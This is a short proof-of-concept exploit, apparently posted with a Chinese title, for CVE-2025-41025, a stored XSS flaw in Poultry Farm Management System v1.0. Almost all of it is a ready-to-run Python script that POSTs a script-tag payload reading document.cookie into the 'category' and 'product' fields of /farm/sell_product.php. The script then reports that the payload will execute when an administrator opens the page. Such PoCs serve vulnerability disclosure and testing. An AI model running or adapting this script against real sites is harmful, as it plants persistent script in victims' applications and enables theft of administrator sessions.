CVE-2025-41025 Poultry Farm Management System v1.0 存储型XSS漏洞

import requests # CVE-2025-41025 PoC - Stored XSS in Poultry Farm Management System v1.0 # Target: /farm/sell_product.php # Parameters: category, product target_url = "http://target.com/farm/sell_product.php" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Data to be submitted data = { "category": xss_payload, "product": xss_payload } # Send POST request with XSS payload try: response = requests.post(target_url, data=data, timeout=10) print(f"[+] Payload sent to {target_url}") print(f"[+] Status code: {response.status_code}") print(f"[+] XSS payload: {xss_payload}") print("[*] PoC executed. The XSS payload is now stored in the database.") print("[*] When admin views the affected page, the script will execute.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")